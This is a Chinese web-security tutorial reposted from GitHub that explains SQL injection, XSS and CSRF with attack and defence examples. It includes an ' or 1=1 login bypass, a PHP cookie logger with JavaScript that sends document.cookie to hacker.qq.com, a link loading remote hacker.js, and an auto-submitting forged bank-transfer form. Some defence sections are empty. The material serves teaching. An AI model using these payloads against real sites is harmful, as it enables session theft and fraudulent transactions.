常見web漏洞(Sql注入、XSS、CSRF)原理以及攻防總結

2021-02-23 HACK之道

作者:quanweibai     文章來源:GitHub

Sql注入

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙伺服器執行惡意的SQL命令。攻擊者通過在應用程式預先定義好的SQL語句結尾加上額外的SQL語句元素,欺騙資料庫伺服器執行非授權的查詢,篡改命令。

攻擊原理

假設的登錄查詢
SELECT * FROM users WHERE login = 'victor' AND password = '123
Sever端代碼
String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
輸入字符
formusr = ' or 1=1
formpwd = anything
實際的查詢代碼
SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'

如何防範

服務端特殊字符過濾: <、>、* 、& 等

使用ORM框架

參數化Sql查詢語句

Xss攻擊

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的. 比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。
分類:反射型和持久型

反射型

這種攻擊不經過資料庫,是從目標伺服器通過錯誤信息、搜索結果等等方式「反射」回來的,攻擊者通過電子郵件等方式將包含注入腳本的惡意連結發送給受害者,當受害者點擊該連結時,注入腳本被傳輸到目標伺服器上,然後伺服器將注入腳本「反射」到受害者的瀏覽器上,從而在該瀏覽器上執行了這段腳本。
這種漏洞主要存在於與用戶有交互的地方,如搜索框,如果後臺沒有對搜索的內容進行過濾,而原封不動的將搜索內容展示在dom中,則存在Xss漏洞
詳細攻擊方式如下:

<?php
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?>

var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);

<a href="http://xsstest.qq.com/search.php?q=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">點擊就送998</a>

假設http://xsstest.qq.com就是存在xss漏洞的網站,search.php後的q參數 ,解碼後為
<script src="http://hacker.qq.com/hacker.js"></script>
實際的作用是模擬用戶在搜索框中輸入
<script src="http://hacker.qq.com/hacker.js"></script>
後點擊搜索。search.php未經處理的將其直接輸入到頁面, 黑客就可以獲取用戶在xsstest.qq.com網站的cookie。

如何防範

持久型

他和反射型XSS最大的不同就是,攻擊腳本將被永久地存放在目標伺服器的資料庫和文件中。這種攻擊多見於論壇,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內容之中。隨著帖子被論壇伺服器存儲下來,惡意腳本也永久地被存放在論壇伺服器的後端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候,惡意腳本則會在他們的瀏覽器中得到執行,從而受到了攻擊。
如上例中的hack.js, 如果用戶輸入的內容是hack.js中的內容,而網站沒有對用戶輸入的內容進行審查就存入資料庫,然後在論壇帖子中展示,其他用戶在瀏覽論壇的時候就會在瀏覽器中執行hack.js的js腳本。

如何防範

CSRF

CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。
你這可以這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的帳號,甚至於購買商品,虛擬貨幣轉帳.造成的問題包括:個人隱私洩露以及財產安全。
原理
網站A :為惡意網站。
網站B :用戶已登錄的網站。
當用戶訪問 A站 時,A站 私自訪問 B站 的操作連結,模擬用戶操作。
假設B站有一個刪除評論的連結:http://b.com/comment/delete?id=81723
A站 直接訪問該連結,就能刪除用戶在 B站 的評論。
CSRF 與 Xss 最大的區別是:CSRF不直接獲取用戶的cookie, 而Xss 則會直接獲取用戶的Cookie
如果用戶訪問了某一個銀行的網站忘記登出了, 然後又訪問了一個惡意網站,而惡意網站中存在以下代碼,則發生CSRF

<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>

如何防範

<?php
$hash = md5($_COOKIE['cookie']);
?>
<form method=」POST」 action=」transfer.php」>
<input type=」text」 name=」toBankId」>
<input type=」text」 name=」money」>
<input type=」hidden」 name=」hash」 value=」<?=$hash;?>」>
<input type=」submit」 name=」submit」 value=」Submit」>
</form>

然後在伺服器端進行Hash值驗證。

_____ end _____

關注公眾號:HACK之道

相關焦點

  • SQL注入、XSS以及CSRF分別是什麼?
    什麼是SQL注入、XSS和CSRF?本篇文章就來帶大家了解一下SQL注入、XSS和CSRF,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。SQL注入SQL注入是屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據(比如用戶敏感數據)隔離,在讀取數據的時候,錯誤的將數據作為代碼的一部分執行而導致的。典型的例子就是當對SQL語句進行字符串拼接的時候,直接使用未轉義的用戶輸入內容作為變量。
  • Java web安全黑客攻防之sql注入
    1.什麼是sql注入sql注入通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL命令通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL
  • SQL 注入攻防入門詳解
    這幾天把sql注入的相關知識整理了下,希望大家多多提意見。(對於sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)下面的程序方案是採用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。
  • 挖洞思路 | XSS跨站腳本攻擊漏洞挖掘技巧總結
    =mysql_query($sql);?sql語句中的單引號。這就是DOM型XSS漏洞,這種漏洞數據流向是: 前端-->瀏覽器XSS的過濾和繞過前面講sql注入的時候,我們講過程序猿對於sql注入的一些過濾,利用一些函數(如:preg_replace()),將組成sql語句的一些字符給過濾,以防止注入。那麼,程序猿也可以用一些函數將構成xss代碼的一些關鍵字符給過濾了。
  • [網絡安全] 五.XSS跨站腳本攻擊詳解及分類-1
    娜璋AI安全之家將專注於Python和安全技術,主要分享Web滲透、系統安全、人工智慧、大數據分析、圖像識別、惡意代碼檢測、CVE復現、威脅情報分析等文章。真心想把自己近十年的所學所做所感分享出來,與大家一起進步。聲明:本人堅決反對利用教學方法進行惡意攻擊的行為,一切錯誤的行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解技術背後的原理,更好地進行安全防護。
  • 【雲演情報】Discuz_7.2_faq.php_sql注入;全球IPv4地址正式耗盡;FB與Twitter再現漏洞.
    四葉草網絡安全學院致力於網絡安全攻防實戰型人才培養,學院總結多年一線實網攻防經驗與案例,自研實戰攻防安全教學體系,結合線上、線下培訓、競賽以及攻防實戰等形式培養和提升實戰能力。Discuz!Discuz_7.2在faq.php存在sql注入漏洞,攻擊者可以利用此漏洞執行任意的sql命令,可以造成資料庫信息洩露,嚴重者可導致伺服器被控制。
  • Web滲透-XSS
    1、XSS簡介命名與 Java 原因無關,完全出於市場原因使用最廣的客戶端腳本語言通過 WEB 站點漏洞,向客戶端交付惡意執行代碼,實現對客戶端的攻擊目的攻擊有    注入客戶端腳本代碼    盜取 cookie    重定向使用場景    直接嵌入html:<script>
  • Web常見漏洞描述及修復建議
    修復建議代碼層最佳防禦sql漏洞方案:使用預編譯sql語句查詢和綁定變量。  (1)使用預編譯語句,使用PDO需要注意不要將變量直接拼接到PDO語句中。所有的查詢語句都使用資料庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。
  • SQL注入的幾種類型和原理
    在上一章節中,介紹了SQL注入的原理以及注入過程中的一些函數,但是具體的如何注入,常見的注入類型,沒有進行介紹,這一章節我想對常見的注入類型進行一個了解
  • 網盾極風雲:淺談WEB攻擊之XSS
    XSS(之所以簡寫為XSS而非CSS,主要是為了和層疊樣式表Cascading Style Sheets區分開)的英文全稱為Cross Site Scripting,是一種黑客向web頁面插入JS代碼以攻擊用戶的攻擊手段。
  • 史上最全網絡安全面試題總結
    開啟了怎麼繞過GPC:php.ini配置文件中的magic_quotes_gpc,實現為get、post、cookie傳入的單引號、雙引號、反斜線、NULL字符添加反斜線\繞過:PHP5的GPC對$_SERVER的忽略,可在http請求頭注入 二次注入 寬字節注入web常用的加密算法有什麼單向散列加密 MD5、
  • 常規web滲透測試漏洞合集
    修復建議代碼層最佳防禦sql漏洞方案:採用sql語句預編譯和綁定變量,是防禦sql注入的最佳方法。  (1)所有的查詢語句都使用資料庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。當前幾乎所有的資料庫系統都提供了參數化SQL語句執行接口,使用此接口可以非常有效的防止SQL注入攻擊。
  • 全網最詳細的常見PHP漏洞全方面解析
    )14、URL 攻擊(URL attack)15、表單提交欺騙攻擊(Spoofed Form Submissions)16、HTTP 請求欺騙攻擊(Spoofed HTTP Requests)以後的每期連載,會逐個介紹這些漏洞的原理和防禦方法。
  • Myql SLEEP函數和SQL注入
    sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。